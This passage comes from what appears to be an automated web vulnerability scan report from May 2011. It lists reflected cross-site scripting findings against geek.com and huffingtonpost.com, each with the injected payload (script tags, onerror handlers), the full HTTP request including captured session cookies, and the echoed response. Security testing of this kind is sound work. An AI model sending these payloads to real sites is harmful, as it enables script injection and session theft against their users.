<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>baaf0b0251b/themes/geek6/styles/redesign.css%3Fver%3D416 -->
...[SNIP]...

4.321. http://www.geek.com/wp-content/themes/geek6/styles/redesign.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/styles/redesign.css

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 48dc7--><script>alert(1)</script>dd7964ccf81 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/themes48dc7--><script>alert(1)</script>dd7964ccf81/geek6/styles/redesign.css?ver=416 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:27:23 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44366
X-Varnish: 1154909827
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:27:31 GMT
Date: Tue, 10 May 2011 13:27:31 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>dd7964ccf81/geek6/styles/redesign.css%3Fver%3D416 -->
...[SNIP]...

4.322. http://www.geek.com/wp-content/themes/geek6/styles/redesign.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/styles/redesign.css

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 79a85--><script>alert(1)</script>46c3c23cd50 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/themes/geek679a85--><script>alert(1)</script>46c3c23cd50/styles/redesign.css?ver=416 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:29:32 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44366
X-Varnish: 1842939731
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:29:10 GMT
Date: Tue, 10 May 2011 13:29:10 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>46c3c23cd50/styles/redesign.css%3Fver%3D416 -->
...[SNIP]...

4.323. http://www.geek.com/wp-content/themes/geek6/styles/redesign.css [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/styles/redesign.css

Issue detail

The value of REST URL parameter 4 is copied into an HTML comment. The payload bd07f--><script>alert(1)</script>53428622ec8 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/themes/geek6/stylesbd07f--><script>alert(1)</script>53428622ec8/redesign.css?ver=416 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:31:18 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44438
X-Varnish: 924435731
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:31:03 GMT
Date: Tue, 10 May 2011 13:31:03 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>53428622ec8/redesign.css%3Fver%3D416 -->
...[SNIP]...

4.324. http://www.geek.com/wp-content/themes/geek6/styles/redesign.css [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/styles/redesign.css

Issue detail

The value of REST URL parameter 5 is copied into an HTML comment. The payload 10ebc--><script>alert(1)</script>f7c5b3874 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/themes/geek6/styles/redesign.css10ebc--><script>alert(1)</script>f7c5b3874?ver=416 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:32:50 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44360
X-Varnish: 1154911283
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:32:58 GMT
Date: Tue, 10 May 2011 13:32:58 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>f7c5b3874%3Fver%3D416 -->
...[SNIP]...

4.325. http://www.geek.com/wp-includes/js/jquery/jquery.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-includes/js/jquery/jquery.js

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 7ca44--><script>alert(1)</script>7106a08b954 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-includes7ca44--><script>alert(1)</script>7106a08b954/js/jquery/jquery.js?ver=1.4.4 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:27:50 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44336
X-Varnish: 1154909979
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:27:59 GMT
Date: Tue, 10 May 2011 13:27:59 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>7106a08b954/js/jquery/jquery.js%3Fver%3D1.4.4 -->
...[SNIP]...

4.326. http://www.geek.com/wp-includes/js/jquery/jquery.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-includes/js/jquery/jquery.js

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 9b98a--><script>alert(1)</script>91e07532a1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-includes/js9b98a--><script>alert(1)</script>91e07532a1/jquery/jquery.js?ver=1.4.4 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:30:27 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44333
X-Varnish: 1842939982
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:30:05 GMT
Date: Tue, 10 May 2011 13:30:05 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>91e07532a1/jquery/jquery.js%3Fver%3D1.4.4 -->
...[SNIP]...

4.327. http://www.geek.com/wp-includes/js/jquery/jquery.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-includes/js/jquery/jquery.js

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload b4ff4--><script>alert(1)</script>a79c9b0aa was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-includes/js/jqueryb4ff4--><script>alert(1)</script>a79c9b0aa/jquery.js?ver=1.4.4 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:32:37 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44330
X-Varnish: 1842940647
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:32:16 GMT
Date: Tue, 10 May 2011 13:32:16 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>a79c9b0aa/jquery.js%3Fver%3D1.4.4 -->
...[SNIP]...

4.328. http://www.geek.com/wp-includes/js/jquery/jquery.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-includes/js/jquery/jquery.js

Issue detail

The value of REST URL parameter 4 is copied into an HTML comment. The payload 55165--><script>alert(1)</script>b33df8dbb3b was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-includes/js/jquery/jquery.js55165--><script>alert(1)</script>b33df8dbb3b?ver=1.4.4 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Last-Modified: Tue, 10 May 2011 13:34:32 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44336
X-Varnish: 1842941134
Expires: Tue, 10 May 2011 13:34:11 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 10 May 2011 13:34:11 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=7c0ba0f86856acc47a295d3205e1db98; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>b33df8dbb3b%3Fver%3D1.4.4 -->
...[SNIP]...

4.329. http://www.geek.com/wp-includes/js/l10n.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-includes/js/l10n.js

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload a4d53--><script>alert(1)</script>4e132da2dfb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-includesa4d53--><script>alert(1)</script>4e132da2dfb/js/l10n.js?ver=20101110 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:27:58 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44318
X-Varnish: 1842939193
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:27:36 GMT
Date: Tue, 10 May 2011 13:27:36 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>4e132da2dfb/js/l10n.js%3Fver%3D20101110 -->
...[SNIP]...

4.330. http://www.geek.com/wp-includes/js/l10n.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-includes/js/l10n.js

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload d5258--><script>alert(1)</script>5afdb60a6fc was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-includes/jsd5258--><script>alert(1)</script>5afdb60a6fc/l10n.js?ver=20101110 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:29:37 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44318
X-Varnish: 1154910460
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:29:46 GMT
Date: Tue, 10 May 2011 13:29:46 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>5afdb60a6fc/l10n.js%3Fver%3D20101110 -->
...[SNIP]...

4.331. http://www.geek.com/wp-includes/js/l10n.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-includes/js/l10n.js

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 4bc2b--><script>alert(1)</script>ce3e586486d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-includes/js/l10n.js4bc2b--><script>alert(1)</script>ce3e586486d?ver=20101110 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Last-Modified: Tue, 10 May 2011 13:31:42 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44318
X-Varnish: 1154911041
Expires: Tue, 10 May 2011 13:31:51 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 10 May 2011 13:31:51 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=64cb2cb3f7ca3984ef384b8e4a79a40e; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>ce3e586486d%3Fver%3D20101110 -->
...[SNIP]...

4.332. http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.huffingtonpost.com
Path:	/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e20d8"-alert(1)-"f70500036ef was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html?e20d8"-alert(1)-"f70500036ef=1 HTTP/1.1
Host: www.huffingtonpost.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: huffpost_influence_null=%7B%22commented%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22blogged%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22shared%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22emailed%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22bages%22%3Anull%7D; __utmz=265287574.1304575105.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-822287727-1304575116403; UNAUTHID=1.f49ac58470c911e0ba8373d1f2b58312.0903; huffpo_type_views=%7B%2215%22%3A1%7D; s_pers=%20s_getnr%3D1304578722710-Repeat%7C1367650722710%3B%20s_nrgvo%3DRepeat%7C1367650722712%3B; __qseg=Q_D|Q_T|Q_2689|Q_2687|Q_2685|Q_1908|Q_1905|Q_1592|Q_683|Q_680|Q_679|Q_678|Q_666|Q_665|Q_657; __utma=265287574.457433518.1304575105.1304575105.1304578723.2; __utmv=265287574.|3=User=A=1,4=JoinedOn=0=1,

Response

HTTP/1.1 200 OK
Server: Apache/2.2.8 (Unix)
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Expires: Tue, 10 May 2011 13:17:05 GMT
Cache-Control: max-age=0, no-cache
Pragma: no-cache
Date: Tue, 10 May 2011 13:17:05 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 278642

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns
...[SNIP]...
'politics';
   HPConfig.current_vertical_id = 2;
   HPConfig.current_web_address = "www.huffingtonpost.com";
HPConfig.current_uri = "/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html?e20d8"-alert(1)-"f70500036ef=1";
   HPConfig.hp_static_domain = "s.huffpost.com";
   HPConfig.inst_type = "prod";
   HPConfig.timestamp_for_clearing_js = "1304778898";
   HPConfig.slideshow_individual_slide_link = false; // by default
   H
...[SNIP]...

4.333. http://www.huffingtonpost.com/ads/check_flights.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.huffingtonpost.com
Path:	/ads/check_flights.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload a2ca5<img%20src%3da%20onerror%3dalert(1)>07df42c2c4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as a2ca5<img src=a onerror=alert(1)>07df42c2c4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /ads/check_flights.php?hash_arr=38388b8876459563a29d986759f38871,dfc1cc688083fc69b709074f693c07a2&spot=leaderboard/a2ca5<img%20src%3da%20onerror%3dalert(1)>07df42c2c4_top HTTP/1.1
Host: www.huffingtonpost.com
Proxy-Connection: keep-alive
Referer: http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: huffpost_influence_null=%7B%22commented%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22blogged%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22shared%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22emailed%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22bages%22%3Anull%7D; __utmz=265287574.1304575105.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-822287727-1304575116403; UNAUTHID=1.f49ac58470c911e0ba8373d1f2b58312.0903; __qseg=Q_D|Q_T|Q_2689|Q_2687|Q_2685|Q_1908|Q_1905|Q_1592|Q_683|Q_680|Q_679|Q_678|Q_666|Q_665|Q_657; huffpost_adssale=y; s_pers=%20s_getnr%3D1305033228149-Repeat%7C1368105228149%3B%20s_nrgvo%3DRepeat%7C1368105228151%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; huffpo_type_views=%7B%222%22%3A1%2C%2215%22%3A1%7D; __utma=265287574.457433518.1304575105.1304578723.1305033228.3; __utmc=265287574; __utmv=265287574.|3=User=A=1,4=JoinedOn=0=1,; __utmb=265287574.4.10.1305033228

Response

HTTP/1.1 200 OK
Server: Apache/2.2.8 (Unix)
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:25:31 GMT
Connection: close
Content-Length: 86

{"result":false,"spot":"leaderboard\/a2ca5<img src=a onerror=alert(1)>07df42c2c4_top"}

4.334. http://www.huffingtonpost.com/ads/check_flights.php [spot parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.huffingtonpost.com
Path:	/ads/check_flights.php

Issue detail

The value of the spot request parameter is copied into the HTML document as plain text between tags. The payload b0df1<img%20src%3da%20onerror%3dalert(1)>6d6fa899b7e was submitted in the spot parameter. This input was echoed as b0df1<img src=a onerror=alert(1)>6d6fa899b7e in the application's response.

